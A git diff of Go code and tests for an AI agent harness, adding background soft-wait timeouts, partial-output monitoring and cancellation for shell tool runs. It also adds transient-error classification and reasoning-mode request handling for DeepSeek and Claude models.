@@ -112,3 +112,41 @@ func TestFriendlyEinoExecuteInvokeTail(t *testing.T) {
t.Fatal("unexpected error should get tail")
}
}
func TestMCPBackgroundWaitResultIsDisplayRunning(t *testing.T) {
body := `工具已提交到后台执行但本次等待已到达上限
execution_id: 3eaaa391-050b-4be1-a870-48a855923cb7
tool: exec
status: running
wait_timeout: 10s
elapsed: 10s
你可以继续推理改用其他工具或调用 wait_tool_execution 继续等待该 execution_id也可以调用 cancel_tool_execution 取消`
modelFacing := einomcp.ToolErrorPrefix + body
if !einoToolResultIsError("exec", modelFacing) {
t.Fatal("soft wait timeout must remain model-facing tool error")
}
if !isMCPBackgroundWaitResult(einoToolResultBody(modelFacing)) {
t.Fatal("soft wait timeout should display as background running")
}
if got := mcpExecutionIDFromWaitResult(einoToolResultBody(modelFacing)); got != "3eaaa391-050b-4be1-a870-48a855923cb7" {
t.Fatalf("execution id = %q", got)
}
if isMCPBackgroundWaitResult("execution_id: abc\nstatus: failed\nerror: boom") {
t.Fatal("real failures must not display as background running")
}
jsonBody := `{
"execution_id": "e98baefc-72eb-4a7e-9091-9be179a75d71",
"tool": "exec",
"status": "running"
}
本次等待已到达 timeout_seconds上述 execution 仍未完成可继续等待取消或采用其他步骤`
if !isMCPBackgroundWaitResult(jsonBody) {
t.Fatal("json wait_tool_execution timeout should display as background running")
}
if got := mcpExecutionIDFromWaitResult(jsonBody); got != "e98baefc-72eb-4a7e-9091-9be179a75d71" {
t.Fatalf("json execution id = %q", got)
}
}
+22 -1
View File
@@ -12,6 +12,9 @@ import (
// 与 CallTool 路径一致,使监控页能展示「执行中」状态。
func newEinoExecuteMonitorCallbacks(ctx context.Context, ag *agent.Agent, recorder einomcp.ExecutionRecorder) (
begin func(toolCallID, command string) string,
appendPartial func(executionID, toolCallID, chunk string),
registerCancel func(executionID string, cancel context.CancelFunc),
unregisterCancel func(executionID string),
finish func(executionID, toolCallID, command, stdout string, success bool, invokeErr error),
) {
begin = func(toolCallID, command string) string {
@@ -25,6 +28,24 @@ func newEinoExecuteMonitorCallbacks(ctx context.Context, ag *agent.Agent, record
}
return id
}
appendPartial = func(executionID, toolCallID, chunk string) {
if ag == nil || executionID == "" || chunk == "" {
return
}
ag.AppendLocalToolExecutionPartialOutput(executionID, chunk)
}
registerCancel = func(executionID string, cancel context.CancelFunc) {
if ag == nil || executionID == "" || cancel == nil {
return
}
ag.RegisterLocalToolExecutionCancel(executionID, cancel)
}
unregisterCancel = func(executionID string) {
if ag == nil || executionID == "" {
return
}
ag.UnregisterLocalToolExecutionCancel(executionID)
}
finish = func(executionID, toolCallID, command, stdout string, success bool, invokeErr error) {
if ag == nil {
return
@@ -43,5 +64,5 @@ func newEinoExecuteMonitorCallbacks(ctx context.Context, ag *agent.Agent, record
recorder(id, toolCallID)
}
}
return begin, finish
return begin, appendPartial, registerCancel, unregisterCancel, finish
}
@@ -63,11 +63,16 @@ type einoStreamingShellWrap struct {
outputChunk func(toolName, toolCallID, chunk string)
// toolTimeoutMinutes 与 agent.tool_timeout_minutes 对齐;>0 时对单次 execute 套用 context 超时(与 MCP 工具经 executeToolViaMCP 行为一致)。0 表示仅依赖上层 ctx(如整任务 10h 上限)。
toolTimeoutMinutes int
// toolWaitTimeoutSeconds 与 agent.tool_wait_timeout_seconds 对齐;>0 时本轮等待到期后返回 execution_idshell 继续后台运行。
toolWaitTimeoutSeconds int
// shellNoOutputTimeoutSec:无任何输出时的空闲秒数;0=关闭。
shellNoOutputTimeoutSec int
// beginMonitor 在 execute 开始时写入 running 状态;finishMonitor 在流结束后更新为 completed/failed。
beginMonitor func(toolCallID, command string) string
finishMonitor func(executionID, toolCallID, command, stdout string, success bool, invokeErr error)
beginMonitor func(toolCallID, command string) string
appendPartialMonitor func(executionID, toolCallID, chunk string)
registerCancelMonitor func(executionID string, cancel context.CancelFunc)
unregisterCancelMonitor func(executionID string)
finishMonitor func(executionID, toolCallID, command, stdout string, success bool, invokeErr error)
}
func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) {
@@ -104,6 +109,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
if w.toolTimeoutMinutes > 0 {
execCtx, timeoutCancel = context.WithTimeout(execCtx, time.Duration(w.toolTimeoutMinutes)*time.Minute)
}
if monitorExecID != "" && w.registerCancelMonitor != nil {
w.registerCancelMonitor(monitorExecID, execCancel)
}
if execReg != nil && convID != "" {
execReg.RegisterActiveEinoExecute(convID, execCancel)
}
@@ -116,6 +124,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
if execCancel != nil {
execCancel()
}
if monitorExecID != "" && w.unregisterCancelMonitor != nil {
w.unregisterCancelMonitor(monitorExecID)
}
if einoExecuteRecvErrIsToolTimeout(err, execCtx) {
hint := "\n\n" + einoExecuteTimeoutUserHint() + "\n"
if w.finishMonitor != nil {
@@ -146,7 +157,7 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
outR, outW := schema.Pipe[*filesystem.ExecuteResponse](32)
go func(inner *schema.StreamReader[*filesystem.ExecuteResponse], command string, cancel context.CancelFunc, timeoutCleanup context.CancelFunc, tctx context.Context, conversationID string, reg mcp.EinoExecuteRunRegistry, toolReg mcp.ToolRunRegistry, execID string, toolCallID string, noOutputSec int) {
go func(inner *schema.StreamReader[*filesystem.ExecuteResponse], command string, cancel context.CancelFunc, timeoutCleanup context.CancelFunc, tctx context.Context, conversationID string, reg mcp.EinoExecuteRunRegistry, toolReg mcp.ToolRunRegistry, execID string, toolCallID string, noOutputSec int, waitTimeoutSec int) {
var innerCloseOnce sync.Once
closeInner := func() {
innerCloseOnce.Do(func() { inner.Close() })
@@ -164,6 +175,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
if toolReg != nil && conversationID != "" && execID != "" {
defer toolReg.UnregisterRunningTool(conversationID, execID)
}
if w.unregisterCancelMonitor != nil && execID != "" {
defer w.unregisterCancelMonitor(execID)
}
// ctx 取消时关闭内层流,避免 amass 等长时间无换行输出时 Recv 永久阻塞。
stopWatch := make(chan struct{})
@@ -181,11 +195,30 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
var invokeErr error
exitCode := 0
hasExitCode := false
softReturned := false
var outCloseOnce sync.Once
closeOut := func() {
outCloseOnce.Do(func() { outW.Close() })
}
defer closeOut()
sendOut := func(resp *filesystem.ExecuteResponse, err error) bool {
if softReturned {
return false
}
return outW.Send(resp, err)
}
idleWatch := security.NewShellInactivityWatch(noOutputSec)
if idleWatch != nil {
defer idleWatch.Stop()
}
var waitTimeoutCh <-chan time.Time
var waitTimer *time.Timer
if waitTimeoutSec > 0 {
waitTimer = time.NewTimer(time.Duration(waitTimeoutSec) * time.Second)
waitTimeoutCh = waitTimer.C
defer waitTimer.Stop()
}
type execRecvMsg struct {
resp *filesystem.ExecuteResponse
@@ -206,8 +239,11 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
success = false
invokeErr = fmt.Errorf("shell inactivity timeout (%ds)", idleWatch.Sec)
msg := security.ShellNoOutputTimeoutMessage(idleWatch.Sec)
_ = outW.Send(&filesystem.ExecuteResponse{Output: msg}, nil)
_ = sendOut(&filesystem.ExecuteResponse{Output: msg}, nil)
sb.WriteString(msg)
if w.appendPartialMonitor != nil && execID != "" {
w.appendPartialMonitor(execID, toolCallID, msg)
}
if w.outputChunk != nil && toolCallID != "" {
w.outputChunk("execute", toolCallID, msg)
}
@@ -227,6 +263,14 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
case <-idleCh:
fireInactivityTimeout()
break recvLoop
case <-waitTimeoutCh:
if execID != "" && !softReturned {
msg := einoExecuteSoftWaitTimeoutResult(execID, waitTimeoutSec)
_ = outW.Send(&filesystem.ExecuteResponse{Output: msg}, nil)
softReturned = true
closeOut()
}
waitTimeoutCh = nil
case msg := <-recvCh:
rerr := msg.err
resp := msg.resp
@@ -244,7 +288,7 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
invokeErr = context.Canceled
break recvLoop
}
_ = outW.Send(nil, rerr)
_ = sendOut(nil, rerr)
break recvLoop
}
if resp != nil {
@@ -263,11 +307,14 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
}
sb.WriteString(resp.Output)
appended = resp.Output
if w.appendPartialMonitor != nil && execID != "" {
w.appendPartialMonitor(execID, toolCallID, appended)
}
}
if w.outputChunk != nil && strings.TrimSpace(appended) != "" {
w.outputChunk("execute", toolCallID, appended)
}
if outW.Send(resp, nil) {
if sendOut(resp, nil) {
success = false
invokeErr = fmt.Errorf("execute stream closed by consumer")
break recvLoop
@@ -304,7 +351,10 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
// ADK 从本 Pipe 拼出 tool 消息正文;仅 Notify 尾标不会进入模型上下文。超时句写入流,与 UI 一致。
if invokeErr != nil && errors.Is(invokeErr, context.DeadlineExceeded) {
hint := "\n\n" + einoExecuteTimeoutUserHint() + "\n"
_ = outW.Send(&filesystem.ExecuteResponse{Output: hint}, nil)
_ = sendOut(&filesystem.ExecuteResponse{Output: hint}, nil)
if w.appendPartialMonitor != nil && execID != "" {
w.appendPartialMonitor(execID, toolCallID, hint)
}
if w.outputChunk != nil && tid != "" {
w.outputChunk("execute", tid, hint)
}
@@ -313,9 +363,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
// 中断时循环内已逐行写入 stdout;此处只追加 USER INTERRUPT NOTE,避免整段输出重复。
if invokeErr != nil && errors.Is(invokeErr, context.Canceled) && abortNote != "" {
if partialStreamed != "" {
_ = outW.Send(&filesystem.ExecuteResponse{Output: "\n\n" + mcp.AbortNoteBannerForModel + "\n" + abortNote}, nil)
_ = sendOut(&filesystem.ExecuteResponse{Output: "\n\n" + mcp.AbortNoteBannerForModel + "\n" + abortNote}, nil)
} else if text := strings.TrimSpace(sb.String()); text != "" {
_ = outW.Send(&filesystem.ExecuteResponse{Output: text + "\n"}, nil)
_ = sendOut(&filesystem.ExecuteResponse{Output: text + "\n"}, nil)
}
}
rawOutput := sb.String()
@@ -323,7 +373,10 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
if !success && hasExitCode && exitCode != 0 {
statusLine := security.ExecuteFailureStatusLine(exitCode)
if !strings.Contains(rawOutput, "命令执行失败:") {
_ = outW.Send(&filesystem.ExecuteResponse{Output: statusLine}, nil)
_ = sendOut(&filesystem.ExecuteResponse{Output: statusLine}, nil)
if w.appendPartialMonitor != nil && execID != "" {
w.appendPartialMonitor(execID, toolCallID, statusLine)
}
sb.WriteString(statusLine)
}
fireBody = einomcp.ToolErrorPrefix + security.FormatCommandFailureResult(exitCode, rawOutput)
@@ -332,10 +385,25 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
w.finishMonitor(execID, toolCallID, command, sb.String(), success, invokeErr)
}
if w.invokeNotify != nil {
w.invokeNotify.Fire(toolCallID, "execute", agentTag, success, fireBody, invokeErr)
if !softReturned {
w.invokeNotify.Fire(toolCallID, "execute", agentTag, success, fireBody, invokeErr)
}
}
outW.Close()
}(sr, userCmd, execCancel, timeoutCancel, execCtx, convID, execReg, toolRunReg, monitorExecID, tid, w.shellNoOutputTimeoutSec)
}(sr, userCmd, execCancel, timeoutCancel, execCtx, convID, execReg, toolRunReg, monitorExecID, tid, w.shellNoOutputTimeoutSec, w.toolWaitTimeoutSeconds)
return outR, nil
}
func einoExecuteSoftWaitTimeoutResult(executionID string, waitTimeoutSec int) string {
waitText := "configured wait timeout"
if waitTimeoutSec > 0 {
waitText = fmt.Sprintf("%ds", waitTimeoutSec)
}
return fmt.Sprintf(`工具已提交到后台执行当前仍在运行
execution_id: %s
status: running
wait_timeout: %s
你可以继续推理改用其他工具或调用 get_tool_execution / wait_tool_execution 读取 partial_output 并继续等待也可以调用 cancel_tool_execution 取消`, executionID, waitText)
}
@@ -153,6 +153,81 @@ func TestEinoStreamingShellWrap_InactivityAfterPartialOutput(t *testing.T) {
}
}
func TestEinoStreamingShellWrap_SoftWaitTimeoutReturnsExecutionIDAndKeepsRunning(t *testing.T) {
inner := &mockStreamingShellPartialThenHang{}
partialCh := make(chan string, 4)
cancelCh := make(chan context.CancelFunc, 1)
unregistered := make(chan string, 1)
wrap := &einoStreamingShellWrap{
inner: inner,
toolWaitTimeoutSeconds: 1,
beginMonitor: func(toolCallID, command string) string {
return "exec-soft-wait"
},
appendPartialMonitor: func(executionID, toolCallID, chunk string) {
partialCh <- chunk
},
registerCancelMonitor: func(executionID string, cancel context.CancelFunc) {
if executionID == "exec-soft-wait" {
cancelCh <- cancel
}
},
unregisterCancelMonitor: func(executionID string) {
unregistered <- executionID
},
}
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
sr, err := wrap.ExecuteStreaming(ctx, &filesystem.ExecuteRequest{Command: "sudo whoami"})
if err != nil {
t.Fatalf("ExecuteStreaming: %v", err)
}
defer sr.Close()
var got strings.Builder
for {
resp, rerr := sr.Recv()
if errors.Is(rerr, io.EOF) {
break
}
if rerr != nil {
t.Fatalf("recv: %v", rerr)
}
if resp != nil {
got.WriteString(resp.Output)
}
}
body := got.String()
if !strings.Contains(body, "execution_id: exec-soft-wait") || !strings.Contains(body, "status: running") {
t.Fatalf("expected background execution marker, got: %q", body)
}
select {
case chunk := <-partialCh:
if !strings.Contains(chunk, "[sudo] password") {
t.Fatalf("unexpected partial chunk: %q", chunk)
}
default:
t.Fatal("expected streamed partial output before soft wait return")
}
if !inner.called {
t.Fatal("inner shell did not run")
}
select {
case registeredCancel := <-cancelCh:
registeredCancel()
case <-time.After(time.Second):
t.Fatal("expected execution cancel registration")
}
select {
case id := <-unregistered:
if id != "exec-soft-wait" {
t.Fatalf("unexpected unregistered id: %q", id)
}
case <-time.After(time.Second):
t.Fatal("expected execution cancel unregister")
}
}
type mockStreamingShellHanging struct {
called bool
}
+2 -2
View File
@@ -82,7 +82,7 @@ func RunEinoSingleChatModelAgent(
}
toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder()
einoExecBegin, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
mainDefs := ag.ToolsForRole(roleTools)
mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, nil, toolInvokeNotify, einoSingleAgentName)
if err != nil {
@@ -139,7 +139,7 @@ func RunEinoSingleChatModelAgent(
}
if einoSkillMW != nil {
if einoFSTools && einoLoc != nil {
fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecBegin, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentToolWaitTimeoutSeconds(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
if fsErr != nil {
return nil, fmt.Errorf("eino single filesystem 中间件: %w", fsErr)
}
+15
View File
@@ -107,8 +107,12 @@ func subAgentFilesystemMiddleware(
invokeNotify *einomcp.ToolInvokeNotifyHolder,
einoAgentName string,
beginMonitor func(toolCallID, command string) string,
appendPartialMonitor func(executionID, toolCallID, chunk string),
registerCancelMonitor func(executionID string, cancel context.CancelFunc),
unregisterCancelMonitor func(executionID string),
finishMonitor func(executionID, toolCallID, command, stdout string, success bool, invokeErr error),
toolTimeoutMinutes int,
toolWaitTimeoutSeconds int,
shellNoOutputTimeoutSec int,
outputChunk func(toolName, toolCallID, chunk string),
) (adk.ChatModelAgentMiddleware, error) {
@@ -123,8 +127,12 @@ func subAgentFilesystemMiddleware(
einoAgentName: strings.TrimSpace(einoAgentName),
outputChunk: outputChunk,
beginMonitor: beginMonitor,
appendPartialMonitor: appendPartialMonitor,
registerCancelMonitor: registerCancelMonitor,
unregisterCancelMonitor: unregisterCancelMonitor,
finishMonitor: finishMonitor,
toolTimeoutMinutes: toolTimeoutMinutes,
toolWaitTimeoutSeconds: toolWaitTimeoutSeconds,
shellNoOutputTimeoutSec: shellNoOutputTimeoutSec,
},
})
@@ -138,6 +146,13 @@ func agentToolTimeoutMinutes(cfg *config.Config) int {
return cfg.Agent.ToolTimeoutMinutes
}
func agentToolWaitTimeoutSeconds(cfg *config.Config) int {
if cfg == nil {
return 0
}
return cfg.Agent.ToolWaitTimeoutSeconds
}
// agentShellNoOutputTimeoutSeconds0=默认 300s5 分钟);-1=关闭;>0=自定义秒数。
func agentShellNoOutputTimeoutSeconds(cfg *config.Config) int {
if cfg == nil {
@@ -94,6 +94,84 @@ func isRetryableHTTPStatus(status int) bool {
}
}
func einoTransientRunErrorUserDetail(err error) (kind, summary string) {
if err == nil {
return "", ""
}
msg := strings.TrimSpace(err.Error())
lower := strings.ToLower(msg)
if status := httpStatusFromErrorText(lower); status > 0 {
switch {
case status == 429:
kind = "rate_limit"
case status == 408 || status == 409 || status == 425:
kind = "retryable_http"
case status >= 500 && status <= 599:
kind = "upstream_server"
default:
kind = "http_error"
}
} else {
var apiErr *einoopenai.APIError
if errors.As(err, &apiErr) && apiErr.HTTPStatusCode > 0 {
switch {
case apiErr.HTTPStatusCode == 429:
kind = "rate_limit"
case apiErr.HTTPStatusCode == 408 || apiErr.HTTPStatusCode == 409 || apiErr.HTTPStatusCode == 425:
kind = "retryable_http"
case apiErr.HTTPStatusCode >= 500 && apiErr.HTTPStatusCode <= 599:
kind = "upstream_server"
default:
kind = "http_error"
}
}
}
if kind == "" {
switch {
case strings.Contains(lower, "too many requests") ||
strings.Contains(lower, "rate limit") ||
strings.Contains(lower, "rate_limit") ||
strings.Contains(lower, "ratelimit"):
kind = "rate_limit"
case strings.Contains(lower, "overloaded") ||
strings.Contains(lower, "capacity") ||
strings.Contains(lower, "temporarily unavailable") ||
strings.Contains(lower, "service unavailable"):
kind = "upstream_busy"
case strings.Contains(lower, "connection reset") ||
strings.Contains(lower, "connection refused") ||
strings.Contains(lower, "connection closed") ||
strings.Contains(lower, "i/o timeout") ||
strings.Contains(lower, "no such host") ||
strings.Contains(lower, "network is unreachable") ||
strings.Contains(lower, "broken pipe") ||
strings.Contains(lower, "read tcp") ||
strings.Contains(lower, "write tcp") ||
strings.Contains(lower, "dial tcp") ||
strings.Contains(lower, "tls handshake timeout") ||
strings.Contains(lower, "goaway") ||
strings.Contains(lower, "unexpected eof"):
kind = "network"
case strings.Contains(lower, "stream error") ||
strings.Contains(lower, "unexpected end of json"):
kind = "stream"
default:
kind = "transient"
}
}
return kind, einoTrimRetryErrorSummary(msg)
}
func einoTrimRetryErrorSummary(msg string) string {
msg = strings.Join(strings.Fields(strings.TrimSpace(msg)), " ")
const maxRunes = 500
runes := []rune(msg)
if len(runes) <= maxRunes {
return msg
}
return string(runes[:maxRunes]) + "..."
}
func httpStatusFromErrorText(msg string) int {
match := httpStatusInErrorPattern.FindStringSubmatch(msg)
if len(match) != 2 {
@@ -5,6 +5,7 @@ import (
"errors"
"fmt"
"io"
"strings"
"testing"
"time"
@@ -62,6 +63,45 @@ func TestEinoTransientRetryBackoff(t *testing.T) {
}
}
func TestEinoTransientRunErrorUserDetail(t *testing.T) {
t.Parallel()
cases := []struct {
name string
err error
wantKind string
}{
{"rate limit", errors.New("HTTP 429 Too Many Requests"), "rate_limit"},
{"upstream", errors.New("upstream returned 503"), "upstream_server"},
{"network", errors.New("read tcp: connection reset by peer"), "network"},
{"stream", errors.New("unexpected end of JSON"), "stream"},
}
for _, tc := range cases {
tc := tc
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
kind, summary := einoTransientRunErrorUserDetail(tc.err)
if kind != tc.wantKind {
t.Fatalf("kind=%q, want %q", kind, tc.wantKind)
}
if summary == "" {
t.Fatal("summary should not be empty")
}
})
}
}
func TestEinoTrimRetryErrorSummary(t *testing.T) {
t.Parallel()
raw := strings.Repeat("报错 ", 260)
got := einoTrimRetryErrorSummary(raw)
if len([]rune(got)) > 503 {
t.Fatalf("summary too long: %d runes", len([]rune(got)))
}
if !strings.HasSuffix(got, "...") {
t.Fatal("trimmed summary should end with ellipsis")
}
}
func TestEinoMessagesForRunRestart(t *testing.T) {
t.Parallel()
base := []adk.Message{schema.UserMessage("hi")}
+8 -4
View File
@@ -135,7 +135,7 @@ func RunDeepAgent(
mcpIDs = append(mcpIDs, id)
mcpIDsMu.Unlock()
}
einoExecBegin, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
// 与单代理流式一致:在 response_start / response_delta 的 data 中带当前 mcpExecutionIds,供主聊天绑定复制与展示。
snapshotMCPIDs := func() []string {
@@ -240,7 +240,7 @@ func RunDeepAgent(
}
if einoSkillMW != nil {
if einoFSTools && einoLoc != nil {
subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecBegin, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentToolWaitTimeoutSeconds(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
if fsErr != nil {
return nil, fmt.Errorf("子代理 %q filesystem 中间件: %w", id, fsErr)
}
@@ -387,8 +387,12 @@ func RunDeepAgent(
einoAgentName: orchestratorName,
outputChunk: nil,
beginMonitor: einoExecBegin,
appendPartialMonitor: einoExecAppendPartial,
registerCancelMonitor: einoExecRegisterCancel,
unregisterCancelMonitor: einoExecUnregisterCancel,
finishMonitor: einoExecFinish,
toolTimeoutMinutes: agentToolTimeoutMinutes(appCfg),
toolWaitTimeoutSeconds: agentToolWaitTimeoutSeconds(appCfg),
shellNoOutputTimeoutSec: agentShellNoOutputTimeoutSeconds(appCfg),
}
}
@@ -486,7 +490,7 @@ func RunDeepAgent(
// 构建 filesystem 中间件(与 Deep sub-agent 一致)
var peFsMw adk.ChatModelAgentMiddleware
if einoSkillMW != nil && einoFSTools && einoLoc != nil {
peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecBegin, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentToolWaitTimeoutSeconds(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
if err != nil {
return nil, fmt.Errorf("plan_execute filesystem 中间件: %w", err)
}
@@ -715,7 +719,7 @@ func historyToMessages(history []agent.ChatMessage, appCfg *config.Config, mwCfg
opts = append(opts, schema.WithToolName(tn))
}
content := h.Content
if !h.ModelFacingTrace {
if !h.ModelFacingTrace || (toolContentMax > 0 && len(content) > toolContentMax) {
content = normalizeRestoredToolContent(content, toolContentMax)
}
raw = append(raw, schema.ToolMessage(content, h.ToolCallID, opts...))
@@ -44,7 +44,7 @@ func TestHistoryToMessagesNormalizesLegacyRawToolOutput(t *testing.T) {
func TestHistoryToMessagesRestoresModelFacingTraceByteForByte(t *testing.T) {
mw := &config.MultiAgentEinoMiddlewareConfig{
ReductionMaxLengthForTrunc: 128,
ReductionMaxLengthForTrunc: 4096,
LatestUserMessageMaxRunes: 64,
}
userContent := strings.Repeat("model-facing-user-", 100)
@@ -66,6 +66,24 @@ func TestHistoryToMessagesRestoresModelFacingTraceByteForByte(t *testing.T) {
}
}
func TestHistoryToMessagesCapsOversizedModelFacingToolTrace(t *testing.T) {
mw := &config.MultiAgentEinoMiddlewareConfig{ReductionMaxLengthForTrunc: 128}
h := []agent.ChatMessage{
{Role: "assistant", ModelFacingTrace: true, ToolCalls: []agent.ToolCall{{ID: "t1", Type: "function", Function: agent.FunctionCall{Name: "exec"}}}},
{Role: "tool", ToolCallID: "t1", ToolName: "exec", Content: strings.Repeat("model-facing-tool-", 1000), ModelFacingTrace: true},
}
msgs := historyToMessages(h, nil, mw)
if len(msgs) != 2 {
t.Fatalf("len=%d", len(msgs))
}
if len(msgs[1].Content) > 128 {
t.Fatalf("restored model-facing tool bytes=%d, want <=128", len(msgs[1].Content))
}
if !strings.Contains(msgs[1].Content, "legacy tool output discarded") {
t.Fatalf("missing cap marker: %q", msgs[1].Content)
}
}
func TestHistoryToMessagesNeverReinjectsRawOversizedUserFallback(t *testing.T) {
appCfg := &config.Config{OpenAI: config.OpenAIConfig{MaxTotalTokens: 10000}}
mw := &config.MultiAgentEinoMiddlewareConfig{LatestUserMessageMaxRunes: 8000}
+38 -35
View File
@@ -34,12 +34,13 @@ func ApplyPlanExecutePlannerModelConfig(cfg *einoopenai.ChatModelConfig, oa *con
if cfg == nil || oa == nil {
return
}
offOA := *oa
offReasoning := oa.Reasoning
offReasoning.Mode = "off"
offOA.Reasoning = offReasoning
ApplyToEinoChatModelConfig(cfg, &offOA, nil)
mergeExtraRequestFields(cfg, oa.Reasoning.ExtraRequestFields)
clearReasoningFromChatModelConfig(cfg)
if resolveWireProfile(oa, &oa.Reasoning) == wireDeepseek {
// DeepSeek enables thinking by default, so omission would not actually
// disable it for the planner's forced tool-choice requests.
applyThinkingDisabled(cfg)
}
}
func clearReasoningFromChatModelConfig(cfg *einoopenai.ChatModelConfig) {
@@ -51,8 +52,22 @@ func clearReasoningFromChatModelConfig(cfg *einoopenai.ChatModelConfig) {
for _, key := range []string{"thinking", "reasoning_effort", "output_config", "reasoning"} {
delete(cfg.ExtraFields, key)
}
if len(cfg.ExtraFields) == 0 {
cfg.ExtraFields = nil
}
}
}
func mergeExtraRequestFields(cfg *einoopenai.ChatModelConfig, fields map[string]interface{}) {
if cfg == nil || len(fields) == 0 {
return
}
if cfg.ExtraFields == nil {
cfg.ExtraFields = make(map[string]any, len(fields))
}
for k, v := range fields {
cfg.ExtraFields[k] = v
}
applyThinkingDisabled(cfg)
}
// ApplyToEinoChatModelConfig merges reasoning-related options into cfg.
@@ -65,42 +80,32 @@ func ApplyToEinoChatModelConfig(cfg *einoopenai.ChatModelConfig, oa *config.Open
allowClient := sr.AllowClientReasoningEffective()
mode := effectiveMode(sr, client, allowClient)
// Admin-defined root fields are independent of the selected reasoning wire
// profile. Merge them first so mode=off can remove only reasoning controls
// while preserving unrelated gateway options.
mergeExtraRequestFields(cfg, sr.ExtraRequestFields)
if mode == "off" {
clearReasoningFromChatModelConfig(cfg)
// Strict OpenAI endpoints reject unknown `thinking` fields, whereas the
// DeepSeek API enables thinking by default and requires an explicit
// thinking.type=disabled switch. Keep that wire difference profile-scoped.
if resolveWireProfile(oa, sr) == wireDeepseek {
applyThinkingDisabled(cfg)
}
return
}
// Claude (Anthropic): merge admin extras first; optional extended thinking maps to top-level `thinking`
// (see internal/openai convertOpenAIToClaude). DeepSeek/OpenAI-style fields are not sent.
if strings.EqualFold(strings.TrimSpace(oa.Provider), "claude") ||
strings.EqualFold(strings.TrimSpace(oa.Provider), "anthropic") {
if len(sr.ExtraRequestFields) > 0 {
if cfg.ExtraFields == nil {
cfg.ExtraFields = make(map[string]any)
}
for k, v := range sr.ExtraRequestFields {
cfg.ExtraFields[k] = v
}
}
if mode == "off" {
return
}
applyClaudeExtendedThinking(cfg, mode, effectiveEffort(sr, client, allowClient), oa.Model)
return
}
if mode == "off" {
applyThinkingDisabled(cfg)
return
}
effort := effectiveEffort(sr, client, allowClient)
prof := resolveWireProfile(oa, sr)
// Admin-defined extra root fields (merged first; automatic keys may follow).
if len(sr.ExtraRequestFields) > 0 {
if cfg.ExtraFields == nil {
cfg.ExtraFields = make(map[string]any)
}
for k, v := range sr.ExtraRequestFields {
cfg.ExtraFields[k] = v
}
}
switch prof {
case wireClaude, wireNone:
return
@@ -222,7 +227,8 @@ func usesExtraFieldsReasoningEffort(e string) bool {
}
func resolveWireProfile(oa *config.OpenAIConfig, sr *config.OpenAIReasoningConfig) wireProfile {
if strings.EqualFold(strings.TrimSpace(oa.Provider), "claude") {
provider := strings.TrimSpace(oa.Provider)
if strings.EqualFold(provider, "claude") || strings.EqualFold(provider, "anthropic") {
return wireClaude
}
p := strings.ToLower(strings.TrimSpace(sr.ProfileEffective()))
@@ -252,9 +258,6 @@ func applyThinkingDisabled(cfg *einoopenai.ChatModelConfig) {
if cfg.ExtraFields == nil {
cfg.ExtraFields = make(map[string]any)
}
if _, exists := cfg.ExtraFields["thinking"]; exists {
return
}
cfg.ExtraFields["thinking"] = map[string]any{"type": "disabled"}
}
+129 -17
View File
@@ -1,13 +1,33 @@
package reasoning
import (
"context"
"encoding/json"
"io"
"net/http"
"net/http/httptest"
"testing"
"cyberstrike-ai/internal/config"
einoopenai "github.com/cloudwego/eino-ext/components/model/openai"
"github.com/cloudwego/eino/schema"
)
